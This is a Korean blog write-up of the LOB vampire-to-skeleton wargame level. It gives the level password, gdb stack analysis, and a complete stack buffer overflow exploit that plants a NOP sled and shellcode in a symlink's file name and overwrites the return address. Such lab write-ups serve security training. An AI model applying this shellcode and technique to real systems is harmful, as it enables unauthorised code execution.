System&Write up/LOB

LOB vampire -> skeleton Write up

Jubil 2017. 10. 11. 10:29
반응형

LOB vampire -> skeleton

 

ID : vampire

Passwd : music world

 


접속해서 ls 명령어로 파일을 확인합니다.

 


cat 명령으로 code를 열어봅니다.

 

Return Address를 스택으로 변조해야 합니다.

환경 변수 사용 못 하고, 버퍼를 초기화 합니다. argc 또한 저장해 놓은 후 다시 돌려놓아서 모든 argv를 초기화 합니다.

 

 

정보를 찾기 위해 원본 tmp 디렉터리를 만들고 복사합니다.

 

gdb로 열어서 x/10s $esp 로 찾아봤습니다.

 


0xbffffc32argv[0]입니다. 0xbfffffe1에도 argv[0]과 같은 값이 들어있습니다.

orge -> troll 에서는 argv[0]를 초기화 하지 않고 남겨둬서 argv[0]을 이용했지만, 이번에는 모든 argv를 초기화 하니 argv[0]을 사용하지 못 할 것 같네요. 그럼 저 아랫부분은 어떨까요?

 

0xbfffffe1에 들어있는 건 환경 변수도 아니고 argv도 아니기 때문에 main함수가 끝날 시기에도 값이 남아있게 됩니다. core 파일을 만들어 분석해봅시다.

 


gdb로 열어보면

 


이렇게 main함수 끝나고 ret 명령을 실행했을 때에도 남아있게 됩니다.

 

 

저 부분을 이용하려면 심볼릭 링크를 사용하면 될 것 같습니다.

 

지난번 orge -> troll 에서는 NOP + 셸코드 의 페이로드 구성을 가졌습니다.

하지만 이번에는 셸코드가 변조될 위험이 있으니 뒤에도 공간을 마련해 주도록 하겠습니다

(그 이유 : http://orang.tistory.com/entry/%EC%89%98%EC%BD%94%EB%93%9C-%EB%92%A4%EC%97%90-%EC%97%AC%EC%9C%A0-%EA%B3%B5%EA%B0%84%EC%9D%B4-%ED%95%84%EC%9A%94%ED%95%9C-%EA%B2%BD%EC%9A%B0)

 

 

NOP + 셸코드 + NOP 형태의 파일명을 가진 파일을 만들겠습니다.

셸코드는 디렉터리 구분자 / (‘\x2f’)가 없는 셸코드를 사용해야 합니다.

 

ln –s skeleton `python –c ‘print “\x90”*160 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + “\x90”*36’`


 

 

그리고 아까 0xbfffffe1, 0xbffffff1 100byte 뒤쯤 NOP Sled가 있는 걸 예측해서 Return Address0xbfffff7d로 변조하겠습니다.

 

payload : ./ `python –c ‘print “\x90”*160 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + “\x90”*36’` `python –c ‘print “A”*44 + “\x7d\xff\xff\xbf"’`


 

성공입니다.

 

이제 원본 파일을 참조하는 심볼릭 링크를 생성하겠습니다.

방금 만들었던 파일과 이름이 같으면 못 만들기 때문에 뒤에 NOP을 조금 추가하겠습니다.

 

ln –s ../skeleton `python –c ‘print “\x90”*160 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + “\x90”*40’`

(앞에 skeleton../skeleton으로 바뀌고, 뒤에 NOP40byte입니다. 유의하세요.)

 

 

아까와 동일한 payload지만 파일 이름만 바꿔서 작성하겠습니다.

payload : ./ `python –c ‘print “\x90”*160 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + “\x90”*40’` `python –c ‘print “A”*44 + “\x7d\xff\xff\xbf"’`

 

공격하겠습니다.

 

exploit!

감사합니다.

반응형

'System&Write up > LOB' 카테고리의 다른 글

LOB golem -> darkknight Write up  (0) 2017.10.26
LOB skeleton -> golem Write up  (0) 2017.10.12
LOB troll -> vampire Write up  (0) 2017.10.10
LOB orge -> troll Write up  (0) 2017.10.09
LOB darkelf -> orge Write up  (0) 2017.10.09